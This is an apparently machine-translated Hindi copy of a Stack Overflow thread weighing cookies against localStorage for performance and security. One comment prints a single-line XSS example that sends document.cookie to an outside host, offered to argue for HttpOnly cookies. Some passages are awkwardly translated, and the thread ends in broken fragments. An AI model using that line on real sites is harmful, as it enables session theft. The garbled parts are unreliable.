1026

मैं सभी वेबसाइटों को स्थानीय भंडारण में ले जाकर अपनी वेबसाइटों पर लोड समय को कम करना चाहता हूं क्योंकि वे एक ही कार्यक्षमता रखते हैं। क्या स्पष्ट संगतता मुद्दों को छोड़कर कुकी कार्यक्षमता को बदलने के लिए स्थानीय भंडारण का उपयोग करने में कोई पेशेवरों / विपक्ष (विशेष रूप से प्रदर्शन-वार) हैं?

— जियो बोरजे
स्रोत

107

Possibe downside: Secure (SSL) पृष्ठों पर लोकलस्टोर्स मान अलग-थलग हैं। इसलिए यदि आपकी साइट में http और https दोनों पृष्ठ हैं, तो आप https पृष्ठ पर जाकर http पृष्ठ पर सेट किए गए मानों का उपयोग नहीं कर पाएंगे। बस एक Magento दुकान में एक अजाक्स मिनी गाड़ी के लिए स्थानीय स्तर की कोशिश की। महाकाव्य विफल ...

6

आश्चर्यजनक रूप से अच्छी तरह से समर्थित (मैं क्या उम्मीद कर रहा था की तुलना में) caniuse.com/#search=localstorage

— Simon_Weaver

6

कुछ उपयोगकर्ताओं को भी अपने ब्राउज़र में एक नियम के रूप में कुकीज़ अक्षम किया गया है। स्थानीय भंडारण उन उपयोगकर्ताओं के लिए बेहतर काम कर सकता है।

— evolross

9

" पॉसिबे डाउनसाइड: [सिक्योरिटीज ( SSLStorage)] सिक्योर (एसएसएल) पेजों पर मूल्य अलग-थलग हैं " यह वास्तव में महान उल्टा है।

— जिज्ञासु

13

इसलिए आपको बस अपनी वेबसाइट पर एसएसएल को बाध्य करना चाहिए ... यदि आपके पास पहले से एसएसएल संस्करण उपलब्ध है, तो मुझे पृष्ठ के दोनों संस्करणों की पेशकश करने का कोई कारण नहीं दिखता है।

— xji

1277

कुकीज़ और स्थानीय भंडारण विभिन्न उद्देश्यों की पूर्ति करते हैं। कुकीज़ मुख्य रूप से सर्वर-साइड पढ़ने के लिए हैं , स्थानीय भंडारण केवल क्लाइंट-साइड द्वारा पढ़ा जा सकता है । तो सवाल है, आपके ऐप में, इस डेटा की ज़रूरत किसे है - क्लाइंट या सर्वर?

यदि यह आपका क्लाइंट (आपका जावास्क्रिप्ट) है, तो हर तरह से स्विच करें। आप प्रत्येक HTTP हेडर में सभी डेटा भेजकर बैंडविड्थ बर्बाद कर रहे हैं।

यदि यह आपका सर्वर है, तो स्थानीय संग्रहण इतना उपयोगी नहीं है क्योंकि आपको किसी भी तरह (अजाक्स या छिपे हुए फॉर्म फ़ील्ड या कुछ के साथ) डेटा अग्रेषित करना होगा। यह ठीक हो सकता है यदि सर्वर को प्रत्येक अनुरोध के लिए कुल डेटा का एक छोटा सबसेट चाहिए।

आप अपने सत्र कुकी को कुकी के रूप में छोड़ना चाहेंगे, हालाँकि।

तकनीकी अंतर के अनुसार, और मेरी समझ भी:

डेटा सहेजने का एक पुराना तरीका होने के अलावा, कूकीज़ आपको 4096 बाइट्स (4095, वास्तव में) की एक सीमा देता है - यह प्रति कुकी है। लोकल स्टोरेज प्रति डोमेन 5MB जितना बड़ा है - SO प्रश्न में भी इसका उल्लेख है।
localStorageStorageइंटरफ़ेस का कार्यान्वयन है । यह कोई समाप्ति तिथि के साथ डेटा संग्रहीत करता है , और केवल जावास्क्रिप्ट के माध्यम से साफ़ हो जाता है , या कुकी समाप्ति के विपरीत - ब्राउज़र कैश / स्थानीय रूप से संग्रहीत डेटा को साफ़ करता है।

— jpsimons
स्रोत

30

HTML5 में सत्र स्कूप्ड स्टोरेज है जिसे सत्र कुकीज़ के प्रतिस्थापन के रूप में भी उपयोग किया जा सकता है।

— पैट नीमेयर

5

@PatNiemeyer, आप sessionStorageएक कुकी के रूप में मान सकते हैं जो ब्राउज़र बंद होने तक (टैब नहीं) समाप्त होने तक समाप्त हो जाती है। @ डॉकटर, उत्तर के लिए धन्यवाद। हालाँकि, कुकीज़ और लोकल स्टोरेज के बीच तकनीकी अंतर को सुनना पसंद करेंगे । आपके संपादन की प्रतीक्षा कर रहा है

— ओम शंकर

28

@OmShankar मुझे यकीन नहीं है अगर आपको अभी भी यह संदेह है, लेकिन यहाँ अंतर है: क्लाइंट पर localStorage रहता है , जबकि cookiesHTTP हेडर के साथ भेजा जाता है। उनके बीच यह सबसे बड़ा (लेकिन एकमात्र नहीं) अंतर है।

— आंद्रे कैलिल

16

यदि आपका क्लाइंट ऐप REST API से बात करता है, तो सत्र आईडी को स्टोर करने और प्रसारित करने के लिए कुकी का उपयोग करना REST में मुहावरा नहीं है। इसलिए, मेरे लिए कुकीज़ एक पुरानी तकनीक की तरह दिखती हैं, जिसे शायद स्थानीय स्टोरेज (+ जावास्क्रिप्ट से बदला जाना चाहिए, अगर आपको कुछ डेटा, जैसे सत्र आईडी, सर्वर को पास करना है)।

— तवरोह

8

स्थानीय भंडारण आवश्यक रूप से कुकीज़ से अधिक सुरक्षित विकल्प नहीं है, क्योंकि यह XSS हमलों के लिए असुरक्षित है। व्यक्तिगत रूप से, मैं एक एन्क्रिप्टेड HTTPS कुकी (शायद JWT या JWE का उपयोग करके) को ध्यान से नियोजित एक्सपोजर स्कीम के साथ चुनूंगा। दुर्भावनापूर्ण तृतीय पक्षों द्वारा उपयोग की जा रही कुकी की संभावना को कम करने के लिए, कुकी-स्तरीय समाप्ति 'नीति' और सर्वर-साइड कुकी 'नवीनीकरण' प्रक्रिया दोनों को लागू करें। मैंने इस मामले पर स्टॉर्मपथ द्वारा एक लेख के कुछ हिस्सों का हवाला देते हुए नीचे एक उत्तर लिखा है।

— XtraSimplicity

231

JWTs के संदर्भ में , स्टॉर्मपथ ने उन्हें संग्रहीत करने के संभावित तरीकों को रेखांकित करते हुए एक काफी मददगार लेख लिखा है, और प्रत्येक विधि से संबंधित (डिस) लाभ।

इसमें XSS और CSRF हमलों का एक संक्षिप्त अवलोकन भी है, और आप उनका मुकाबला कैसे कर सकते हैं।

मैंने नीचे लेख के कुछ छोटे स्निपेट संलग्न किए हैं, यदि उनका लेख ऑफ़लाइन है / उनकी साइट नीचे जाती है।

स्थानीय भंडार

समस्या:

वेब संग्रहण (लोकलस्टोरेज / सेशनस्टोरेज) उसी डोमेन पर जावास्क्रिप्ट के माध्यम से सुलभ है। इसका मतलब है कि आपकी साइट पर चलने वाले किसी भी जावास्क्रिप्ट का उपयोग वेब स्टोरेज तक होगा, और इसकी वजह से क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों की चपेट में आ सकते हैं। संक्षेप में XSS एक प्रकार की भेद्यता है जहां एक हमलावर जावास्क्रिप्ट को इंजेक्ट कर सकता है जो आपके पृष्ठ पर चलेगा। बेसिक XSS अटैक जावास्क्रिप्ट को फॉर्म इनपुट के माध्यम से इंजेक्ट करने का प्रयास करता है, जहां हमलावर अलर्ट डालता है ('आप हैक हो गए हैं'); यह देखने के लिए कि यह ब्राउज़र द्वारा चलाया जाता है या अन्य उपयोगकर्ताओं द्वारा देखा जा सकता है।

रोकथाम:

XSS को रोकने के लिए, सामान्य प्रतिक्रिया सभी अविश्वसनीय डेटा से बचना और एनकोड करना है। लेकिन यह पूरी कहानी से बहुत दूर है। 2015 में, आधुनिक वेब ऐप सीडीएन या बाहर के बुनियादी ढांचे पर होस्ट किए गए जावास्क्रिप्ट का उपयोग करते हैं। आधुनिक वेब ऐप में ए / बी परीक्षण, फ़नल / मार्केट विश्लेषण और विज्ञापनों के लिए 3 पार्टी जावास्क्रिप्ट लाइब्रेरी शामिल हैं। हम अपने एप्लिकेशन में अन्य लोगों के कोड को आयात करने के लिए Bower जैसे पैकेज प्रबंधकों का उपयोग करते हैं।

क्या होगा यदि आपके द्वारा उपयोग की जाने वाली सभी लिपियों में से केवल एक में समझौता किया जाए? दुर्भावनापूर्ण जावास्क्रिप्ट को पेज पर एम्बेड किया जा सकता है, और वेब स्टोरेज से समझौता किया जाता है। इस प्रकार के एक्सएसएस हमलों से हर किसी का वेब स्टोरेज मिल सकता है जो आपकी साइट पर जाता है, बिना उनकी जानकारी के। शायद यही कारण है कि संगठनों का एक समूह वेब स्टोरेज में किसी भी जानकारी को महत्व नहीं देने या किसी भी जानकारी पर भरोसा नहीं करने की सलाह देता है। इसमें सत्र पहचानकर्ता और टोकन शामिल हैं।

भंडारण तंत्र के रूप में, वेब संग्रहण स्थानांतरण के दौरान किसी भी सुरक्षित मानकों को लागू नहीं करता है। जो कोई भी वेब स्टोरेज को पढ़ता है और इसका उपयोग करता है, उन्हें यह सुनिश्चित करने के लिए अपनी मेहनत करनी चाहिए कि वे हमेशा HTTPS पर JWT भेजें और कभी HTTP न करें।

कुकीज़

समस्या:

कुकीज़, जब HttpOnly कुकी ध्वज के साथ उपयोग किया जाता है, तो जावास्क्रिप्ट के माध्यम से सुलभ नहीं हैं, और XSS के लिए प्रतिरक्षा हैं। आप कुकी की गारंटी देने के लिए सिक्योर कुकी फ्लैग भी सेट कर सकते हैं, केवल HTTPS पर भेजा जाता है। यह एक मुख्य कारण है कि टोकन या सत्र डेटा संग्रहीत करने के लिए कुकीज़ को अतीत में लिया गया है। आधुनिक डेवलपर्स कुकीज़ का उपयोग करने में संकोच करते हैं क्योंकि उन्हें पारंपरिक रूप से सर्वर पर संग्रहीत होने की आवश्यकता होती है, इस प्रकार रेस्टफुल सर्वोत्तम प्रथाओं को तोड़ते हैं। यदि आप कुकी में JWT स्टोर कर रहे हैं तो स्टोरेज मैकेनिज्म के रूप में कुकीज़ को सर्वर पर संग्रहीत होने की आवश्यकता नहीं है। ऐसा इसलिए है क्योंकि JWT सर्वर को अनुरोध को पूरा करने के लिए आवश्यक सभी चीजों को एन्क्रिप्ट करता है।

हालांकि, कुकीज़ एक अलग प्रकार के हमले की चपेट में हैं: क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)। CSRF हमला एक प्रकार का हमला है जो तब होता है जब कोई दुर्भावनापूर्ण वेब साइट, ईमेल या ब्लॉग किसी उपयोगकर्ता के वेब ब्राउज़र पर किसी विश्वसनीय साइट पर अवांछित कार्रवाई करने का कारण बनता है, जिस पर उपयोगकर्ता वर्तमान में प्रमाणित होता है। यह एक तरीका है कि ब्राउज़र कुकीज़ कैसे संभालता है। एक कुकी केवल उन्हीं डोमेन को भेजी जा सकती है जिसमें उसे अनुमति है। डिफ़ॉल्ट रूप से, यह वह डोमेन है जो मूल रूप से कुकी सेट करता है। कुकी को अनुरोध के लिए भेजा जाएगा, भले ही आप galaxies.com या hahagonnahackyou.com पर हों।

रोकथाम:

आधुनिक ब्राउज़र SameSiteध्वज का समर्थन करते हैं , इसके अलावा HttpOnlyऔर Secure। इस ध्वज का उद्देश्य कुकी को क्रॉस-साइट अनुरोधों में स्थानांतरित करने से रोकना है, जिससे कई प्रकार के सीएसआरएफ हमले को रोका जा सके।

जो ब्राउज़र समर्थन नहीं करते हैं SameSite, उनके लिए CSRF को सिंक्रनाइज़ टोकन पैटर्न का उपयोग करके रोका जा सकता है। यह जटिल लगता है, लेकिन इसके लिए सभी आधुनिक वेब फ्रेमवर्क का समर्थन है।

उदाहरण के लिए, AngularJS के पास यह पुष्टि करने का समाधान है कि कुकी आपके डोमेन द्वारा ही सुलभ है। AngularJS डॉक्स से सीधे:

XHR अनुरोधों को निष्पादित करते समय, $ http सेवा कुकी से एक टोकन पढ़ती है (डिफ़ॉल्ट रूप से, XSRF-TOKEN) और इसे HTTP हेडर (X-XSRF-TOKEN) के रूप में सेट करता है। चूँकि केवल जावास्क्रिप्ट जो आपके डोमेन पर चलता है, कुकी को पढ़ सकता है, आपके सर्वर को यह आश्वासन दिया जा सकता है कि आपके डोमेन पर चल रहे जावास्क्रिप्ट से XHR आया था। आप एक xsrfTokenJWT दावे को शामिल करके इस CSRF सुरक्षा को स्टेटलेस बना सकते हैं :
{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}
अपने वेब ऐप ढांचे की CSRF सुरक्षा का लाभ उठाते हुए JWT को संचय करने के लिए कुकीज़ को ठोस बनाता है। CSRF को आपके API से HTTP रेफरर और ओरिजिन हेडर की जाँच करके आंशिक रूप से रोका जा सकता है। CSRF हमलों में रेफरर और ऑरिजनल हेडर होंगे जो आपके आवेदन से संबंधित नहीं हैं।

पूरा लेख यहां पाया जा सकता है: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

उनके पास टोकन की संरचना के संबंध में JWTs को सर्वश्रेष्ठ डिजाइन और कार्यान्वित करने के बारे में एक उपयोगी लेख भी है: https://stormpath.com/blog/jwt-the-right-way/

— XtraSimplicity
स्रोत

6

बहुत बढ़िया बिंदु। स्थानीय भंडारण के सुरक्षा निहितार्थ (या XSS के लिए अभाव) से आश्चर्यचकित होने से पहले इस तरह के एक अच्छी तरह से पढ़े गए प्रश्न पर उल्लेख नहीं किया गया है - एक उत्तर को छोड़कर जो गलत तरीके से IMHO बताता है कि यह अधिक सुरक्षित है!

— बैरी पोलार्ड

25

मुझे लगता है कि पूरी सुरक्षा की बात ईमानदार होने के लिए विचलित करने वाली है। हां, localStorageपृष्ठ पर अन्य लिपियों के लिए सुलभ है ... लेकिन ऐसा है XMLHttpRequest... और हां HttpOnly ध्वज कुकी को चुराने से बचाता है लेकिन ब्राउज़र अभी भी इसे स्वचालित रूप से मेल खाने वाले डोमेन को भेजता है ... मूल रूप से जब आपके पास दुर्भावनापूर्ण स्क्रिप्ट होती है आपके पृष्ठ पर चल रहा है, जिसे आप पहले ही हैक कर चुके हैं।

— स्टिजन डे विट

3

@StijndeWitt संरक्षण की प्रत्येक परत की अपनी शक्ति और कमजोरी है। इसलिए आमतौर पर कई सुरक्षा परतों का होना बेहतर होता है। बस आपको एक उदाहरण देने के लिए: HttpOnly जैसे गैर-अजाक्स हमलों को भी रोकता है window.location = 'http://google.com?q=' + escape(document.cookie);। यह हमला ब्राउज़र कॉर्स चेक को बायपास करता है।

— मेमेत ओल्सन

मान लें कि आपके पास विज्ञापनों जैसी कुछ चीज़ों के लिए पूरी तरह से विश्वसनीय प्रदाताओं से कम है ... आपके विज्ञापनों को उसी डोमेन द्वारा अपनी विश्वसनीय सामग्री के रूप में भी क्यों परोसा जाता है? विज्ञापनों को बस वेबपेज के अंदर प्रदर्शित करना होता है, उन्हें आमतौर पर पृष्ठ के अंदर JS चलाने की आवश्यकता नहीं होती है। उस तीसरे पक्ष की सामग्री के लिए बहुत एकीकरण के लिए बिना रुकावट है।

— जिज्ञासु

एक कुकी में एक सीएसआरएफ टोकन क्यों होता है (जिसे गैर-http-केवल परिभाषा के आधार पर होना चाहिए ताकि इसे जावास्क्रिप्ट के माध्यम से पढ़ा जा सके और हेडर के माध्यम से भेजा जा सके) कुछ भी सुरक्षा-वार मदद करता है? अगर मेरी साइट xss के लिए असुरक्षित है, तो कुकी को स्थानीय / सत्र भंडारण के रूप में आसान पढ़ा जा सकता है।

— जुआंगामनिक

96

साथ localStorage, वेब अनुप्रयोगों उपयोगकर्ता के ब्राउज़र के भीतर स्थानीय स्तर पर डाटा स्टोर कर सकते हैं। HTML5 से पहले, एप्लिकेशन डेटा को हर सर्वर अनुरोध में शामिल कुकीज़ में संग्रहीत किया जाना था। वेबसाइट के प्रदर्शन को प्रभावित किए बिना बड़ी मात्रा में डेटा स्थानीय रूप से संग्रहीत किया जा सकता है। यद्यपि localStorageअधिक आधुनिक है, दोनों तकनीकों के लिए कुछ पेशेवरों और विपक्ष हैं।

कुकीज़

पेशेवरों

लिगेसी समर्थन (यह हमेशा के लिए रहा है)
लगातार डेटा
समाप्ति की तिथियां

विपक्ष

प्रत्येक डोमेन एक ही तार में अपने सभी कुकीज़ संग्रहीत करता है, जिससे पार्सिंग डेटा मुश्किल हो सकता है
डेटा अनएन्क्रिप्टेड है, जो एक मुद्दा बन जाता है क्योंकि ... हालांकि आकार में छोटा है, कुकीज हर HTTP रिक्वेस्ट लिमिटेड साइज (4KB) के साथ भेजी जाती हैं।
SQL इंजेक्शन एक कुकी से किया जा सकता है

स्थानीय भंडार

पेशेवरों

अधिकांश आधुनिक ब्राउज़रों द्वारा समर्थन
लगातार डेटा जो सीधे ब्राउज़र में संग्रहीत होता है
समान-मूल नियम स्थानीय संग्रहण डेटा पर लागू होते हैं
हर HTTP अनुरोध के साथ नहीं भेजा जाता है
प्रति डोमेन 5MB संग्रहण (यह 5120KB है)

विपक्ष

आईई 8, फ़ायरफ़ॉक्स 3.5, सफारी 4, क्रोम 4, ओपेरा 10.5, आईओएस 2.0, एंड्रॉइड 2.0: पहले कुछ भी समर्थित नहीं है
यदि सर्वर को संग्रहीत क्लाइंट की जानकारी चाहिए तो आपको जानबूझकर इसे भेजना होगा।

localStorageउपयोग सत्र एक के साथ लगभग समान है। उनके पास बहुत सटीक तरीके हैं, इसलिए सत्र से स्विच localStorageकरना वास्तव में बच्चे का खेल है। हालाँकि, यदि संग्रहीत डेटा आपके एप्लिकेशन के लिए वास्तव में महत्वपूर्ण है, तो आप संभवतः कुकीज़ का उपयोग करेंगे क्योंकि यदि बैकअप localStorageउपलब्ध नहीं है। यदि आप के लिए ब्राउज़र समर्थन की जाँच करना चाहते हैं localStorage, तो आपको बस यह सरल स्क्रिप्ट चलाना है:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"सिक्योर (SSL) पेजों पर लोकलस्टोरेज वैल्यू अलग-थलग हैं" क्योंकि किसी ने ध्यान दिया कि यदि आप 'http' से 'https' सुरक्षित प्रोटोकॉल में स्विच करते हैं तो लोकलस्टोरेज उपलब्ध नहीं होगा, जहां कुकी अभी भी एक्सेप्टेबल होगी। यदि आप सुरक्षित प्रोटोकॉल के साथ काम करते हैं, तो यह जानना महत्वपूर्ण है।

— DevWL
स्रोत

1

आप जो चेक कर रहे हैं वह बहुत विश्वसनीय नहीं है। ऐसे ब्राउज़र और मोड (निजी) हैं, जिनके पास स्टोरेज ऑब्जेक्ट है, फिर भी उस पर मूल्यों को गहराई से सेट करने में विफल हैं। वास्तविक समर्थन की जांच करने का एकमात्र तरीका इस पर एक सेट हटाने का प्रयास करना है।

— जावास्क्रिप्ट

पॉइंट लिया गया, मैंने अपना जवाब अपडेट किया है, जिसका उत्तर है जो यहां पर है: stackoverflow.com/questions/16427636/…

— DevWL

10

चूँकि 'SQL इंजेक्शन प्रदर्शन किया जा सकता है' को कुकी के एक इंजेक्शन के रूप में सूचीबद्ध किया गया है, आप कह रहे हैं कि यह स्थानीयस्टोर से नहीं किया जा सकता है?

— मार्टिन श्नाइडर

कुकीज़ के लिए एक और समर्थक। कुकीज़ HTTPOnly के रूप में चिह्नित की जा सकती हैं। इसका मतलब यह है कि उन्हें जावास्क्रिप्ट से एक्सेस नहीं किया जा सकता है, जिसका अर्थ है कि कोई भी दुर्भावनापूर्ण XSS कुकी सामग्री को पुनः प्राप्त नहीं कर सकता है। इस वजह से, मैं जरूरी नहीं कहूंगा कि स्थानीय भंडारण कुकीज़ की तुलना में अधिक सुरक्षित है।

— wp-overwatch.com

@ Mr.Me जबकि XSS हमले किसी HTTPOnly कुकी को नहीं पढ़ सकते हैं, फिर भी हमलावर किसी भी HTTP अनुरोध को कर सकता है जो उपयोगकर्ता केवल ब्राउज़र सत्र द्वारा सीमित (परिभाषा के अनुसार) कर सकता है। सत्र को मानते हुए कुकी एक अपारदर्शी पहचानकर्ता है, जैसा कि लगभग सभी सत्र कुकीज़ हैं, कुकी मान पढ़ना केवल एक HTTP अनुरोध करने के लिए उपयोगी है, जिसमें आप शामिल हैं: आप सिर्फ कुकी मूल्य के साथ कुछ भी नहीं सीखते हैं। (ध्यान दें, सत्र कुकीज़ को किसी विशेष स्रोत आईपी पते, उपयोगकर्ता-एजेंट हेडर या अन्य ब्राउज़र विशेषताओं से जोड़ा जा सकता है; XSS हमले ब्राउज़र से HTTP अनुरोध करते हैं, इसलिए ये मेल खाते हैं।)

— curiousguy

7

खैर, स्थानीय भंडारण गति उस ब्राउज़र पर निर्भर करती है जो क्लाइंट उपयोग कर रहा है, साथ ही साथ ऑपरेटिंग सिस्टम भी। एक मैक पर क्रोम या सफारी पीसी पर फ़ायरफ़ॉक्स की तुलना में बहुत तेज हो सकता है, खासकर नए एपीआई के साथ। हालांकि हमेशा की तरह, परीक्षण आपका मित्र है (मुझे कोई बेंचमार्क नहीं मिला)।

मैं वास्तव में कुकी बनाम स्थानीय भंडारण में बहुत बड़ा अंतर नहीं देखता हूं। इसके अलावा, आपको संगतता के मुद्दों के बारे में अधिक चिंतित होना चाहिए: सभी ब्राउज़र ने नए एचटीएमएल 5 एपीआई का समर्थन करना भी शुरू नहीं किया है, इसलिए कुकीज़ गति और संगतता के लिए आपका सबसे अच्छा दांव होगा।

— pop850
स्रोत

2

यह सिर्फ एक आंतरिक परियोजना है, इसलिए क्रॉस-ब्राउज़र-संगतता जैसी चीजें वास्तव में आवश्यक नहीं हैं। क्योंकि कुकीज़ प्रत्येक HTTPRequest (मेरे आवेदन में ~ 77 अनुरोध) के साथ भेजे गए हैं जिसका अर्थ है ~ 500kB अतिरिक्त ओवरहेड। मुझे पता है कि स्पष्ट समाधान एक सीडीएन है, लेकिन मैं कुछ ऐसी कोशिश करना चाहता हूं जो सर्वर-निर्भर नहीं है। मुझे खुद कोई भी बेंचमार्क नहीं मिला और इसीलिए मैं उम्मीद कर रहा था कि कोई व्यक्ति यहां आ जाए।

— जियो बोर्जे जूल 10'10

14

क्रोम या सफारी मैक पर अधिक तेज़ क्यों होगा? यह बहुत समान ब्राउज़र कोड चल रहा है चाहे आप मैक, लिनक्स या विंडोज पर हों।

— मार्क के कोवन

7

यह भी ध्यान देने योग्य है कि localStorageजब मोबाइल सफारी के कुछ संस्करणों में उपयोगकर्ता "निजी" मोड में ब्राउज़ करते हैं तो इसका उपयोग नहीं किया जा सकता है।

MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ) से उद्धृत :

नोट: iOS 5.1 के साथ शुरू, सफारी मोबाइल कैश फ़ोल्डर में लोकलस्टोरेज डेटा को स्टोर करता है, जो कि ओएस के इशारे पर, कभी-कभी क्लीन अप के अधीन होता है, आमतौर पर अगर स्पेस कम है। सफारी मोबाइल का प्राइवेट ब्राउजिंग मोड पूरी तरह से लोकलस्टोरेज को लिखने से रोकता है।

— benjaminz
स्रोत

6

लोकल स्टोरेज 5mb तक ऑफलाइन डेटा स्टोर कर सकता है, जबकि सेशन 5 mb तक डेटा स्टोर कर सकता है। लेकिन कुकीज़ पाठ प्रारूप में केवल 4kb डेटा स्टोर कर सकते हैं।

JSON प्रारूप में LOCAl और सत्र भंडारण डेटा, इस प्रकार पार्स करना आसान है। लेकिन कुकीज़ डेटा स्ट्रिंग प्रारूप में है।

— अविनाश मल्होत्रा
स्रोत

6

कुकीज़ :

HTML5 से पहले प्रस्तुत किया गया।
समाप्ति की तारीख है।
जेएस द्वारा क्लीयर या ब्राउजर के क्लियर ब्राउजिंग डेटा द्वारा या समाप्ति तिथि के बाद।
प्रत्येक अनुरोध के अनुसार सर्वर को भेजा जाएगा।
क्षमता 4KB है।
केवल स्ट्रिंग्स कुकीज़ में संग्रहीत करने में सक्षम हैं।
कुकीज़ दो प्रकार की होती हैं: लगातार और सत्र।

स्थानीय भंडार:

HTML5 के साथ पेश किया गया।
समाप्ति की तारीख नहीं है।
जेएस द्वारा क्लीयर या ब्राउजर के क्लियर ब्राउजिंग डेटा द्वारा।
आप तब चुन सकते हैं जब डेटा सर्वर पर भेजा जाना चाहिए।
क्षमता 5 एमबी है।
डेटा को अनिश्चित काल तक संग्रहीत किया जाता है, और एक स्ट्रिंग होना चाहिए।
केवल एक प्रकार है।

— सीयराडौफ मोदरेसी
स्रोत

6. लोकलस्टोरेज केवल स्ट्रिंग्स को स्टोर कर सकते हैं, आदिम और वस्तुओं को स्टोरेज से पहले स्ट्रिंग्स में परिवर्तित किया जाना चाहिए, 7. सेशनस्टोरेज भी उपलब्ध है और यह

— स्थानीयस्टोर के

आप केवल स्टिंग को स्टोरेज में रख सकते हैं

— TheMisir

स्थानीय भंडारण बनाम कुकीज़

स्थानीय भंडार

कुकीज़

कुकीज़

स्थानीय भंडार